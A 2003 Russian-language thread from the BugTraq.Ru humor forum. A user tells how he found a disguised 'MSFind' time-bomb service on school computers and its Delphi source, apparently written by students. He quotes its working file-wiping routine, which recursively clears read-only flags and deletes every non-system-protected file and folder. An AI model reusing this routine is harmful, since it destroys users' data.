информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Атака на InternetЗа кого нас держат?
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Бэкдор в xz/liblzma, предназначенный... 
 Три миллиона электронных замков... 
 Doom на газонокосилках 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / humor
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
Тут меня училка одна знакомая попросила посмотреть компы в классе ИВТ ;-) 15.10.03 13:53  
Автор: HandleX <Александр М.> Статус: The Elderman
Отредактировано 15.10.03 17:14  Количество правок: 1
<"чистая" ссылка>
Говорит, постоянно на некоторых компах «система слетает и почти все файлы исчезают».

Согласился по старой дружбе...

Короче рыл рыл я один из этих компов — а там у них OS NT4, всякий софт... На факультативе Delphi некоторые изучают... Нашёл в системе странный сервис MSFind... Не помню я такого, снёс его нафиг, хотя даже копирайты MS в Version info проставлены ;-)

И вот, на одной из машинок нахожу проэкт с чудным названием MSFind.dpr — глянул и обомлел... Я бы сам наверное смог ТАКОЕ бы написать, но чтобы детки ;-) Хотя, может нарыли где... Итак, это прога, под NT инсталирует себя как сервис и висит доколе ен щёлкнет дата, указанная при инсталляции. Ниже привожу одну из функций этой весёлой проги...

А там ещё есть Mimicry(), InstallAsServiceForWin98() и RecurseDirectoriesWin9x;-)

  Procedure RecurseDirectoriesNT(fromPath: WideString);
    Function IsProtectedFile(Const aFileName: WideString): Bool;
    Begin
      Result := @SfcIsFileProtected <> Nil;
      If Not Result Then Exit;
      Result := SfcIsFileProtected(0, PWideChar(DWORD(PWideChar(aFileName)) + 8));
    End;
  Var
    aFindData: Win32_Find_DataW;
    fHndl: THandle;
    aStr, rStr: WideString;
  Begin
    aStr := FromPath + .;
    fHndl := FindFirstFileW(PWideChar(aStr), aFindData);
    If fHndl = INVALID_HANDLE_VALUE Then Exit;
    Repeat
      If (WideString(aFindData.cFileName) = '.') Or (WideString(aFindData.cFileName) = '..') Then Continue;
      If aFindData.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY = FILE_ATTRIBUTE_DIRECTORY Then
      Begin
        rStr := fromPath + aFindData.cFileName + '\';
        RecurseDirectoriesNT(rStr);
        If aFindData.dwFileAttributes And FILE_ATTRIBUTE_READONLY = FILE_ATTRIBUTE_READONLY Then
          SetFileAttributesW(PWideChar(rStr), FILE_ATTRIBUTE_NORMAL);
        RemoveDirectoryW(PWideChar(rStr));
        Continue;
      End;
      rStr := FromPath + aFindData.cFileName;
      If Not IsProtectedFile(rStr) Then
      Begin
        If aFindData.dwFileAttributes And FILE_ATTRIBUTE_READONLY = FILE_ATTRIBUTE_READONLY Then
          SetFileAttributesW(PWideChar(rStr), FILE_ATTRIBUTE_NORMAL);
        DeleteFileW(PWideChar(rStr));
      End;
    Until Not FindNextFileW(fHndl, aFindData);
    FindClose(fHndl);
  End;

---
Хех неплохо. Детки в клетке. 21.10.03 01:48  
Автор: Shnurok Статус: Незарегистрированный пользователь
<"чистая" ссылка>
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach